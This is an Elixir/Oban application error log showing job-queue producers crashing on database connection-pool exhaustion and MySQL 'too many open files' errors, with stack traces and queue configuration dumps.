[Sun Sep  6 00:48:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:48:06.240132Z], limit: 50, uuid: "311df08b-96bf-499d-bdb3-5208d43bbcac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:06.240139Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.79309>, refresh_timer: #Reference<0.2525715032.1099431938.69185>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:48:06.239813Z], limit: 5, uuid: "2233dadb-b125-4b5a-8b70-2ad6a1d5dbed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:06.239820Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.79308>, refresh_timer: #Reference<0.2525715032.1121189889.223030>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:48:06.239813Z], limit: 20, uuid: "e23b8bd8-b476-4c4c-9d03-37060f405a2d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:06.239820Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.79307>, refresh_timer: #Reference<0.2525715032.1068498948.79292>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:48:06.239855Z], limit: 10, uuid: "4dce2a8b-51c4-47f4-b648-b5f2924a50f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:06.239863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69197>, refresh_timer: #Reference<0.2525715032.1099431938.69174>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:48:06.240749Z], limit: 5, uuid: "b2f67b80-c96c-4b27-b484-43542b705518", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:06.240756Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.79311>, refresh_timer: #Reference<0.2525715032.1077673987.55228>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:18.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:19.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:19.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:20.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:22.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:23.384000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:48:18.240053Z], limit: 5, uuid: "140eb226-756b-4c6a-8c0b-54e6b5ed15cc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:18.240059Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.223233>, refresh_timer: #Reference<0.2525715032.1099431938.69235>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:48:18.239620Z], limit: 50, uuid: "15d9b212-3e43-4f65-8bc1-7c1eee85df06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:18.239626Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55442>, refresh_timer: #Reference<0.2525715032.1077673987.55419>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:48:18.239258Z], limit: 3, uuid: "a1dea174-1330-4b29-ac9d-42141ce43eff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:18.239265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55406>, refresh_timer: #Reference<0.2525715032.1077673987.55405>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
